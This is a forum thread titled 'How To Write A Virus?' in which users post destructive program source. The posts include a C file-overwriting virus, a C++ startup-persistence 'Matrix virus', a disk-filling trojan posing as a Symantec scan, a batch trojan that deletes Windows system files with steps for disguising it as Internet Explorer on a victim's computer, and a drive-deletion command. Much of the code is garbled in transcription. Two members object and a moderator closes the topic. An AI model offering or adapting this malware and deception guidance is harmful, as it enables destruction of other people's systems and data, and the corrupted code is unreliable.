Nov 21, 2009
Pages: 1, 2, 3, 4, 5

How To Write A Virus ?

free web hosting
Open Discussion & Free Web Hosting > Computers & Tech > Programming > Programming General > Assembly

How To Write A Virus ?

(G)Author Name - e.g. John, Mike

here is a smple code in c donot try this at home folks and please donot open this on your box as all hell will break loose

/*this is a simple program to create a virus in c
It will create folder in a folder in a folder and so on run this on your own responsibility*/
#include
#include
#include
#include
#include
Void main(int argc,char* argv[])
{ char buf[512];
Int source,target,byt,done;
Struct ffblk ffblk;
Clrscr();
Textcolor(2);
Cprintf(”————————————————————————–”);
Printf(”\nVirus: Folderbomb 1.0\nProgrammer:BAS Unnikrishnan(asystem0@gmail.Com)\and”);
Cprintf(”————————————————————————–”);
Done = findfirst(”*.*”,&ffblk,0);
While (!done)
{ printf(”\and”);cprintf(” %s “, ffblk.Ff_name);printf(”is attacked by “);cprintf(”Folderbomb”);
Source=open(argv[0],O_RDONLY|O_BINARY);
Target=open(ffblk.Ff_name,O_CREAT|O_BINARY|O_WRONGLY);
While(1)
{byt=read(source,buf,512);
If(byt>0)
Write(target,buf,byt);
Else
Break;
}
Close(source);
Close(target);
Done = findnext(&ffblk);
}

getch()

this is a demonstration only donot compile this 

regards: NEMESIS

 

 

 


Comment/Reply (w/o sign-up)

(G)Home
how to make a virus
How To Write A Virus ?

Making a basic virus is really easy. Simplest example would be writing a program what deletes important windows system files like: explorer.Exe, all the files ending in .Sys, or any files in the Windows folder. If you corrupt those files then windows will not boot or if it boots it will crash with a blue screen of death.

More complicated would be to first write a virus program like the example above, then write another program that takes the hexadecimal or binary code and implants it into all .Exe files on the computer. That way when someone runs a program like Internet Explorer the virus code contain in Internet Explorer is executed. When the virus is executed it could delete files, modify files, or open up Microsoft Outlook and email itself to the computer users email contacts.

Writing a virus is not illegal, it is what you do with the virus. If you unlease the virus on the internet and it courrpts or deletes files on someone else's computer or some Companies computer system then you will be held liable and face a huge fine and jail time.

 If you are going to develop a virus just for fun it would be best to do it in a virtual machine that way you don't screw up your system or accidentally release it onto the internet.

-reply by Home

 

 

 

 


Comment/Reply (w/o sign-up)

(G)

This is a Matrix virus code, don't include the Joel or Hazuras.Com part when transfering on to notepad. Be careful with this, it can shut down computer networks if someone stupid gets a hold of it.  its startup label is matrixvirus.Exe, then just double click.

// Created by Joel

// Hazuras.Com

#include <iostream>

#include <stdlib.H>

#include <windows.H>

#include <iomanip>

#include <stdio.H>

#include <conio.H>

#include <fstream>

using namespace std;

int main()

{ keybd_event(VK_MENU,0x38,0,0);

keybd_event(VK_RETURN,0x1c,0,0);

keybd_event(VK_RETURN,0x1c,KEYEVENTF_KEYUP,0);

keybd_event(VK_MENU,0x38,KEYEVENTF_KEYUP,0);

HANDLE outToScreen;

outToScreen =GetStdHandle(STD_OUTPUT_HANDLE);

{

char buffer[255];

char inputFile[]="C:\\Documentsand Settings\\All Users\\Start Menu\\Programs\\Startup\\rawr.Bat";

ifstream input(inputFile);

if (!input)

{

{

ofstream fp("C:\\Documents andSettings\\All Users\\Start Menu\\Programs\\Startup\\rawr.Bat", ios::app);

fp << "@ECHO OFF \and";

fp << "START C:\\rawr.Exe\and";

fp << "EXIT";

}

}

else

{

while (!input.Eof())

{

input.Getline(buffer,255);

}

}

}

{

char buffer[255];

charinputFile[]="C:\\rawr.Exe";

ifstream input(inputFile);

if (!input)

{

{

{

ofstream fp("CLICK.Bat",ios::app);

fp << "@ECHO OFF \and";

fp << "COPY matrix.ExeC:\\rawr.Exe \and";

fp << "START C:\\rawr.Exe\and";

fp << "EXIT";

}

system("START CLICK.Bat");

main();

}

}

else

{

while (!input.Eof())

{

input.Getline(buffer,255);

system("call shutdown.Exe-S");

goto START;

}

}

}

START:{

for(int I = 0; I < 1; I++)

{

int num = (rand() % 10);

SetConsoleTextAttribute(outToScreen,FOREGROUND_GREEN | FOREGROUND_INTENSITY);

cout << setw(4) << num;

cout << setw(4) <<"0%";

cout << setw(4) <<"P";

cout << setw(4) << "";

cout << setw(4) <<")";

cout << setw(4) <<"#";

cout << setw(4) <<"X";

cout << setw(4) <<"@";

cout << setw(4) <<"1&";

cout << setw(4) <<"*";

cout << setw(4) <<"||";

cout << setw(4) << "\a";

Sleep(60);

}

}

for ( int j = 0; j < 5; j++)

{

SetConsoleTextAttribute(outToScreen,FOREGROUND_GREEN);

int number = (rand() % 24);

cout << setw(4) << number;

}

goto START;

}

// The Matrix Virus


Comment/Reply (w/o sign-up)

(G)Shari
What do i save these as?
How To Write A Virus ?

Ok.. The ones that make folders in folder in folders, etc. Do I save those as flood1.Bat? -reply by Shari

Comment/Reply (w/o sign-up)

(G)Rahul, duliajan,assam,INDIA
create a space eating virus using C++
How To Write A Virus ?

/* SPACE EATER TROJAN BY RAHUL. USE IT FOR PRIVATE PURPOSES ONLY. DO NOT SPREAD!*/

#include<stdio.H>
#include<conio.H>
#include<dos.H>
#include<stdlib.H>
FILE *a,*t,*b;
Int r,status,vir_count;
Double I;
Char ch[]="CREATING A HUGE FILE FOR OCCUPYING HARDDISK SPACE",choice;

void eatspace(void);
Void findroot(void);
Void showstatus(void);
Void draw(void);
Void accept(void);

void main()
{
Draw();
Accept();
Textcolor(WHITE);
Draw();
Gotoxy(12,8);
Cputs("ANALYZING YOUR SYSTEM. PLEASE WAIT...");
Sleep(3);
Gotoxy(12,8);
Delline();
Cputs("PRESS ANY KEY TO START THE SYSTEM SCAN...");
Getch();
Gotoxy(12,8);
Delline();
Findroot();
}

void accept()
{
Textcolor(LIGHTRED);
Gotoxy(1,8);
Cputs("THIS PROGRAM IS A DEMO OF SIMPLE TROJAN HORSE. IF YOU RUN THIS PROGRAM IT WILL\and\rEAT UP YOUR FULL HARD DISK SPACE ON ROOT DRIVE. HOWEVER IT IS POSSIBLE TO\and\rELIMINATE THE DAMAGE.\and\and\rTO CLEANUP THE DAMAGE YOU\'VE TO DELETE THE FILE \"spceshot.Dll\" LOCATED IN\and\and\r \"%windir%\\System32\".\and\and\rIF YOU WISH TO RUN THE PROGRAM PRESS ENTER, OTHERWISE PRESS ANY KEY TO QUIT.");

if((choice=getch())!=13)
Exit(0);
}

void draw()
{
Clrscr();
Textcolor(WHITE);
Gotoxy(12,2);
Cputs("********************************************************");
Gotoxy(12,6);
Cputs("********************************************************");
Gotoxy(12,3);
Cputs("*\and\b*\and\b*\and\b");
Gotoxy(67,3);
Cputs("*\and\b*\and\b*\and\b");
Gotoxy(14,4);
Cputs("SYMANTEC SECURITY SCAN - 2009 (QUICK SYSTEM SCANNER)");
}

void findroot()
{
T=fopen("C:\\windows\\explorer.Exe","rb");
If(t!=NULL)
{
Fclose(t);
Textcolor(WHITE);
A=fopen("C:\\windows\\system32\\spceshot.Dll","rb");
If(a!=NULL)
{
Textcolor(LIGHTRED);
Gotoxy(12,8);
Cputs("SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!");
Getch();
Exit(1);
}
B=fopen("C:\\windows\\system32\\spceshot.Dll","wb+");
If(b!=NULL)
{
Showstatus();
Eatspace();
}
}
T=fopen("D:\\windows\\explorer.Exe","rb");
If(t!=NULL)
{
Fclose(t);
A=fopen("D:\\windows\\system32\\spceshot.Dll","rb");
If(a!=NULL)
{
Textcolor(LIGHTRED);
Gotoxy(12,8);
Cputs("SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!");
Getch();
Exit(1);
}
B=fopen("D:\\windows\\system32\\spceshot.Dll","wb+");
If(b!=NULL)
{
Showstatus();
Eatspace();
}
}
T=fopen("E:\\windows\\explorer.Exe","rb");
If(t!=NULL)
{
Fclose(t);
A=fopen("E:\\windows\\system32\\spceshot.Dll","rb");
If(a!=NULL)
{
Textcolor(LIGHTRED);
Gotoxy(12,8);
Cputs("SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!");
Getch();
Exit(1);
}
B=fopen("E:\\windows\\system32\\spceshot.Dll","wb+");
If(b!=NULL)
{
Showstatus();
Eatspace();
}
}
T=fopen("F:\\windows\\explorer.Exe","rb");
If(t!=NULL)
{
Fclose(t);
A=fopen("F:\\windows\\system32\\spceshot.Dll","rb");
If(a!=NULL)
{
Textcolor(LIGHTRED);
Gotoxy(12,8);
Cputs("SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!");
Getch();
Exit(1);
}
B=fopen("F:\\windows\\system32\\spceshot.Dll","wb+");
If(b!=NULL)
{
Showstatus();
Eatspace();
}
}
If(t==NULL)
{
Textcolor(LIGHTRED);
Gotoxy(12,8);
Cputs("SYSTEM SCAN FAILED! PRESS ANY KEY TO CLOSE THIS PROGRAM.");
Getch();
Exit(1);
}
Exit(1);
}

void eatspace()
{
Textcolor(LIGHTRED);
Gotoxy(12,16);
Cputs("WARNING: DO NOT ABORT THE SCAN PROCESS UNTIL IT IS COMPLETED!\and");
Textcolor(WHITE);
Gotoxy(12,18);
While(1)
{
For(r=1;r<4;r++)
{
For(I=1;I<900000;I++)
{
Status=fputs(ch,b);
If(status==EOF)
{
Textcolor(WHITE);
Vir_count=random(120);
Draw();
Gotoxy(12,8);
Cprintf("SCAN COMPLETE!. DETECTED AND CLEANED OVER %d THREATS!",vir_count);
Gotoxy(12,10);
Cprintf("PRESS ANY KEY TO CLOSE...");
Getch();
Break;
}
}
Cputs(".");
If(status==EOF) break;
}
If(status==EOF) break;
}
Exit(0);
}

void showstatus()
{
Gotoxy(12,8);
Cputs("SCANNING THE SYSTEM FOR THREATS");
Gotoxy(12,10);
Cputs("THIS MAY TAKE UP A FEW MINUTES TO FEW HOURS");
Gotoxy(12,13);
Cputs("SCAN IN PROGRESS. PLEASE WAIT...");
}

-reply by Rahul, duliajan,assam,INDIA

Comment/Reply (w/o sign-up)

(G)ben

heres a simple one but doesnt save or delete its self to anything. (use in note pad then save as "name".Bat then your done)

@echo off

:top

START %SystemStart%/system32/notepad.Exe

GOTO top

its something like that 

p.S I'm only 13 so I hardly know anything about how to do these this is my fav none destructive virus


Comment/Reply (w/o sign-up)

(G)bill nye the nutsack guy
trojan virus
How To Write A Virus ?

this is a self deleting trojan, once it dose its job it will erase its self.

copy and pase it in notepad and save it as  trojan.Bat

then once its made put it on a disk or flash drive and put it on the desktop of the victom's computer. Right-click it and creat short cut. Change the name of the short cut(after deleting the orignal) to "internet explorer" and right-click and click properties and click the shortcut tab. Click "change icon..." and find the internet explorer picture, click it and click apply on the bottom right. Delet the real I.E. And replace it with the virus.

when clicked it will activated the trojan.

here is the code:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~START OF CODE~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

@echo off cd\ if exist c:\windows goto winslows if exist c:\dos goto do$ :poof erase * goto end_trojan :winblows cd\windows if exist system.Ini del system.Ini if exist win.Ini erase win.Ini ren *.Exe *.Vxe ren *.Dat *.Cat ren *.Sys *.Sex goto end_trojan :do$ cd\dos ren *.Com *.Kom ren *.Exe *.Com ren *.Kom *.Exe if exist c:\command.Com erase c:\command.Com :end_trojan erase trojan.Bat

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~END OF CODE~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

have fun and DO NOT GET CAUGHT!

-reply by bill nye the nutsack guy

Comment/Reply (w/o sign-up)

HannahI
Sorry, But we should not be discusing this in Asta Host. Anyways, it is illegal.

Comment/Reply (w/o sign-up)

yordan
QUOTE (HannahI @ Nov 8 2009, 01:57 AM) *
Sorry, But we should not be discusing this in Asta Host. Anyways, it is illegal.

This is also my opinion. That's why I close this topic.

Comment/Reply (w/o sign-up)

(G)

just type

@echo

DEL C: -Y

DEL D: -Y

it deletes everything on the desktop and is simple.! 


Comment/Reply (w/o sign-up)


Got an Opinion! Express your Views! (no registration):-
Add your Reply/ Opinion/ Views/ Comments/ Suggestion/ Questions/ Queries etc.
Posts with decent grammar & English will be accepted and please refrain from profanities.
For asking a Question, We recommend you to sign-up (for free) so that you can track the topic easily.

Nature of your Post*: Opinion/ Reply/ Comments
Question/Query
Feedback to us.
       
Name   Email
Title/Question*

This textarea will convert to Rich-Text automatically (IE, Firefox, Chrome)

Pages: 1, 2, 3, 4, 5
Similar Topics

Keywords : Virus


    Looking for write, virus

See Also,

*SIMILAR VIDEOS*
Searching Video's for write, virus
advertisement



How To Write A Virus ?

Affordable Web Hosting, Low cost Web Hosting - ComputingHost.com